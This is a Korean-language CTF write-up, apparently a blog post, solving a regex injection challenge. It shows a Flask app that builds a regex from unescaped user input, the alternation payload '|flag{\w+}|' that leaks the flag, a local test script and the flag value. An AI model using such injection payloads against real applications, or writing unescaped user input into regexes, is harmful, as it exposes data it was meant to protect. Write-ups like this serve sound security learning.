1. 개요
Regex Injection 문제
2. 풀이
1) 분석
받은 파일을 열어보면 DataBase는 사용하지 않습는다. SQL Injection 문제가 아니고 정규표현식 문제입니다.
#!/usr/bin/env python
from flask import Flask, Response, abort, request, render_template
import random
from string import *
import re
app = Flask(__name__)
flag = open("flag.txt").read()
users = open("users.txt").read()
users += flag
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("lookup.html")
if request.method == "POST":
name = request.form["name"]
setting = int(request.form["setting"])
if name:
if name[0].isupper():
name = name[1:]
results = re.findall(r"[A-Z][a-z]*?" + name + r"[a-z]*?\n", users, setting)
results = [x.strip() for x in results if x or len(x) > 1]
return render_template("lookup.html", passed_results=True, results=results)
if __name__ == "__main__":
app.run()
2) exploit
로컬에 똑같은 유사한 코드를 만들었습니다. r"[A-Z][a-z]*?" + name + r"[a-z]*?\n" 이부분의 패턴은 플래그 포맷 flag\{[0-9a-f]{32}\} 으로 통과할 수 없기 때문에
| 조건을 사용해서 bypass 했습니다. "|flag{\w+}|"
import re
users = "Volans\nVulpecula\nflag{b7e2a32f5ae629dcfb1ac210d1f0c032}\n"
name = "|flag{\w+}|"
setting = 0
if name:
if name[0].isupper():
name = name[1:]
pattern = r"[A-Z][a-z]*?" + name + r"[a-z]*?\n"
results = re.findall(pattern, users, setting)
results = [x.strip() for x in results if x or len(x) > 1]
print('results', results)
3) result

3. flag
flag{f0e659b45b507d8633065bbd2832c627}
'CTF' 카테고리의 다른 글
[b01lers CTF] I Love Java (0) | 2022.06.06 |
---|---|
[NahamCon_CTF_2022] extravagant (0) | 2022.06.06 |
[Patriot CTF] Spongebob (0) | 2022.06.06 |
[Patriot CTF] Rock and Roll (0) | 2022.06.06 |
[Patriot CTF] No Postcode Envy (0) | 2022.06.06 |